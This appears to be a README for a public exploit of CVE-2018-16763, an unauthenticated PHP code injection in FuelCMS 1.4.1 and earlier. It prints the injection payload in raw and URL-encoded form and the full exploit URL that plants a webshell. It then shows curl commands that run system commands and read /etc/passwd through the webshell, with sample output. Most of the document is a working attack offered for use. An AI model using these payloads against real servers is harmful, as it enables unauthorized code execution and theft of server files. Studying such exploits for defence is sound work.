- FuelCMS version <= 1.4.1
- Unauthenticated.
You can find the exploit code for this CVE here: https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE
First, you need to start the interactive console.py to execute commands and download remote files. It will use CVE-2018-16763 php code injection in the filter
parameter to upload a php webshell API in FuelCMS using file_put_contents
. The payload used is the following:
'+pi(print($a='file_put_contents'))+$a($_POST["d0eb3f9a"],$_POST["9bc30f43"])+'
This payload urlencoded gives:
%27%2Bpi%28print%28%24a%3D%27file%5Fput%5Fcontents%27%29%29%2B%24a%28%24%5FPOST%5B%22d0eb3f9a%22%5D%2C%24%5FPOST%5B%229bc30f43%22%5D%29%2B%27
The final exploit URL is:
http://127.0.0.1:10080/fuel/pages/select/?filter=%27%2Bpi%28print%28%24a%3D%27file%5Fput%5Fcontents%27%29%29%2B%24a%28%24%5FPOST%5B%22d0eb3f9a%22%5D%2C%24%5FPOST%5B%229bc30f43%22%5D%29%2B%27
Now the interactive console.py performs a POST request to this URL to upload ./webshell/webshell.php into Fuel CMS.
You can now execute commands by sending a GET or POST request to http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php with action=exec&cmd=id
:
$ curl -X POST 'http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php' --data "action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","exec":"id"}
You can also access it by a GET request from a browser.
You can also download remote files by sending a GET or POST request to http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php with action=download&cmd=/etc/passwd
:
$ curl -X POST 'http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php' --data "action=download&path=/etc/passwd" -o-

You can also download a remote file from a browser with a GET request.
When your webshell is active, you can now use the interactive console.py to execute commands and download remote files.
